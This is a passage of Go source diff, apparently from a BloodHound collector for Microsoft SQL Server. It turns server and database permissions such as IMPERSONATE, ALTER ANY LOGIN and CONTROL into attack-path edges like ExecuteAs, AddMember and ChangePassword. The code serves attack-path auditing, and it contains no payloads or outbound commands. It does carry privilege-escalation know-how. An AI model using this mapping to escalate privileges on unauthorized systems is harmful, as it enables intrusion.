+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: appRole.Name,
+ TargetType: bloodhound.NodeKinds.ApplicationRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "db_accessadmin":
+ // db_accessadmin does NOT have any special permissions that create edges
+ // Its role is to manage database access (adding users), which is handled
+ // through its membership in the database, not through explicit permissions
+ }
+ }
+ }
+
+ return nil
+}
+
+// createServerPermissionEdges creates edges based on server-level permissions
+func (c *Collector) createServerPermissionEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ principalMap := make(map[int]*types.ServerPrincipal)
+ for i := range serverInfo.ServerPrincipals {
+ principalMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i]
+ }
+
+ for _, principal := range serverInfo.ServerPrincipals {
+ for _, perm := range principal.Permissions {
+ if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" {
+ continue
+ }
+
+ switch perm.Permission {
+ case "CONTROL SERVER":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlServer,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "CONNECT SQL":
+ // CONNECT SQL permission allows connecting to the server
+ // Only create edge if the principal is not disabled
+ if !principal.IsDisabled {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.Connect,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ case "CONNECT ANY DATABASE":
+ // CONNECT ANY DATABASE permission allows connecting to any database
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ConnectAnyDatabase,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "CONTROL":
+ // CONTROL on a server principal (login/role)
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.Login
+ isServerRole := false
+ isLogin := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ if targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ targetType = bloodhound.NodeKinds.ServerRole
+ isServerRole = true
+ } else {
+ // It's a login type (WINDOWS_LOGIN, SQL_LOGIN, etc.)
+ isLogin = true
+ }
+ }
+
+ // First create non-traversable MSSQL_Control edge (matches PowerShell)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // CONTROL on login = ImpersonateLogin (MSSQL_ExecuteAs), no restrictions (even sa)
+ if isLogin {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // CONTROL implies AddMember and ChangeOwner for server roles
+ if isServerRole {
+ // Can only add members to fixed roles if source is member (except sysadmin)
+ // or to user-defined roles
+ canAddMember := false
+ if targetPrincipal != nil && !targetPrincipal.IsFixedRole {
+ canAddMember = true
+ }
+ // Check if source is member of target fixed role (except sysadmin)
+ if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == targetName {
+ canAddMember = true
+ break
+ }
+ }
+ }
+
+ if canAddMember {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "ALTER":
+ // ALTER on a server principal (login/role)
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.Login
+ isServerRole := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ if targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ targetType = bloodhound.NodeKinds.ServerRole
+ isServerRole = true
+ }
+ }
+
+ // Always create the MSSQL_Alter edge (matches PowerShell)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Alter,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // For server roles, also create AddMember edge if conditions are met
+ if isServerRole {
+ canAddMember := false
+ // User-defined roles: anyone with ALTER can add members
+ if targetPrincipal != nil && !targetPrincipal.IsFixedRole {
+ canAddMember = true
+ }
+ // Fixed roles (except sysadmin): can add members if source is member of the role
+ if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == targetName {
+ canAddMember = true
+ break
+ }
+ }
+ }
+ if canAddMember {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ case "TAKE OWNERSHIP":
+ // TAKE OWNERSHIP on a server principal
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.Login
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ if targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ targetType = bloodhound.NodeKinds.ServerRole
+ }
+ }
+
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.TakeOwnership,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // TAKE OWNERSHIP on SERVER_ROLE also grants ChangeOwner (matches PowerShell)
+ if targetPrincipal != nil && targetPrincipal.TypeDescription == "SERVER_ROLE" {
+ changeOwnerEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(changeOwnerEdge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "IMPERSONATE":
+ if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ }
+
+ // MSSQL_Impersonate edge (matches PowerShell which uses MSSQL_Impersonate at server level)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Impersonate,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ExecuteAs edge (PowerShell creates both)
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ case "IMPERSONATE ANY LOGIN":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ImpersonateAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "ALTER ANY LOGIN":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // ALTER ANY LOGIN also creates ChangePassword edges to SQL logins
+ // PowerShell logic: target must be SQL_LOGIN, not sa, not sysadmin/CONTROL SERVER
+ for _, targetPrincipal := range serverInfo.ServerPrincipals {
+ if targetPrincipal.TypeDescription != "SQL_LOGIN" {
+ continue
+ }
+ if targetPrincipal.Name == "sa" {
+ continue
+ }
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue
+ }
+
+ // Check if target has sysadmin or CONTROL SERVER (including nested)
+ targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo)
+ targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo)
+
+ if targetHasSysadmin || targetHasControlServer {
+ continue
+ }
+
+ // Check CVE-2025-49758 patch status to determine if edge should be created
+ if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) {
+ continue
+ }
+
+ // Create ChangePassword edge
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ case "ALTER ANY SERVER ROLE":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyServerRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create AddMember edges to each applicable server role
+ // Matches PowerShell: user-defined roles always, fixed roles only if source is direct member (except sysadmin)
+ for _, targetRole := range serverInfo.ServerPrincipals {
+ if targetRole.TypeDescription != "SERVER_ROLE" {
+ continue
+ }
+
+ canAlterRole := false
+ if !targetRole.IsFixedRole {
+ // User-defined role: anyone with ALTER ANY SERVER ROLE can alter it
+ canAlterRole = true
+ } else if targetRole.Name != "sysadmin" {
+ // Fixed role (except sysadmin): can only add members if source is a direct member
+ for _, membership := range principal.MemberOf {
+ if membership.Name == targetRole.Name {
+ canAlterRole = true
+ break
+ }
+ }
+ }
+
+ if canAlterRole {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// createDatabasePermissionEdges creates edges based on database-level permissions
+func (c *Collector) createDatabasePermissionEdges(writer *bloodhound.StreamingWriter, db *types.Database, serverInfo *types.ServerInfo) error {
+ principalMap := make(map[int]*types.DatabasePrincipal)
+ for i := range db.DatabasePrincipals {
+ principalMap[db.DatabasePrincipals[i].PrincipalID] = &db.DatabasePrincipals[i]
+ }
+
+ for _, principal := range db.DatabasePrincipals {
+ for _, perm := range principal.Permissions {
+ if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" {
+ continue
+ }
+
+ switch perm.Permission {
+ case "CONTROL":
+ if perm.ClassDesc == "DATABASE" {
+ // Create MSSQL_Control (non-traversable) edge
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Create MSSQL_ControlDB (traversable) edge
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlDB,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ // CONTROL on a database principal (user/role)
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.DatabaseUser
+ isRole := false
+ isUser := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription)
+ isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE"
+ isUser = targetPrincipal.TypeDescription == "WINDOWS_USER" ||
+ targetPrincipal.TypeDescription == "WINDOWS_GROUP" ||
+ targetPrincipal.TypeDescription == "SQL_USER" ||
+ targetPrincipal.TypeDescription == "ASYMMETRIC_KEY_MAPPED_USER" ||
+ targetPrincipal.TypeDescription == "CERTIFICATE_MAPPED_USER"
+ }
+
+ // First create the non-traversable MSSQL_Control edge
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Use specific edge type based on target
+ if isRole {
+ // CONTROL on role = Add members + Change owner
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ } else if isUser {
+ // CONTROL on user = Impersonate (MSSQL_ExecuteAs)
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+
+ case "CONNECT":
+ if perm.ClassDesc == "DATABASE" {
+ // Create MSSQL_Connect edge from user/role to database
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Connect,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ break
+ case "ALTER":
+ if perm.ClassDesc == "DATABASE" {
+ // ALTER on the database itself - use MSSQL_Alter to match PowerShell
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Alter,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // ALTER on database grants effective ALTER ANY APPLICATION ROLE and ALTER ANY ROLE
+ // Create AddMember edges to roles and ChangePassword edges to application roles
+ for _, targetPrincipal := range db.DatabasePrincipals {
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue // Skip self
+ }
+
+ // Check if source principal is db_owner
+ isDbOwner := false
+ for _, role := range principal.MemberOf {
+ if role.Name == "db_owner" {
+ isDbOwner = true
+ break
+ }
+ }
+
+ switch targetPrincipal.TypeDescription {
+ case "DATABASE_ROLE":
+ // db_owner can alter any role, others can only alter user-defined roles
+ if targetPrincipal.Name != "public" &&
+ (isDbOwner || !targetPrincipal.IsFixedRole) {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ case "APPLICATION_ROLE":
+ // ALTER on database allows changing application role passwords
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.ApplicationRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ // ALTER on a database principal - always use MSSQL_Alter to match PowerShell
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.DatabaseUser
+ isRole := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription)
+ isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE"
+ }
+
+ // Always create MSSQL_Alter edge (matches PowerShell)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Alter,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // For database roles, also create AddMember edge (matches PowerShell)
+ if isRole {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+ case "ALTER ANY ROLE":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyDBRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create AddMember edges to each eligible database role
+ // Matches PowerShell: user-defined roles always, fixed roles only if source is db_owner (except public)
+ for _, targetRole := range db.DatabasePrincipals {
+ if targetRole.TypeDescription != "DATABASE_ROLE" {
+ continue
+ }
+ if targetRole.ObjectIdentifier == principal.ObjectIdentifier {
+ continue // Skip self
+ }
+ if targetRole.Name == "public" {
+ continue // public role membership cannot be changed
+ }
+
+ // Check if source principal is db_owner (member of db_owner role)
+ isDbOwner := false
+ for _, role := range principal.MemberOf {
+ if role.Name == "db_owner" {
+ isDbOwner = true
+ break
+ }
+ }
+
+ // db_owner can alter any role, others can only alter user-defined roles
+ if isDbOwner || !targetRole.IsFixedRole {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+ case "ALTER ANY APPLICATION ROLE":
+ // Create edge to the database since this permission affects ANY application role
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyAppRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Create ChangePassword edges to each individual application role
+ for _, appRole := range db.DatabasePrincipals {
+ if appRole.TypeDescription == "APPLICATION_ROLE" &&
+ appRole.ObjectIdentifier != principal.ObjectIdentifier {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ appRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: appRole.Name,
+ TargetType: bloodhound.NodeKinds.ApplicationRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+
+ case "IMPERSONATE":
+ // IMPERSONATE on a database user
+ if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ }
+
+ // PowerShell creates both MSSQL_Impersonate and MSSQL_ExecuteAs for database user impersonation
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Impersonate,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.DatabaseUser,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ExecuteAs edge (PowerShell creates both)
+ edge = c.createEdge(
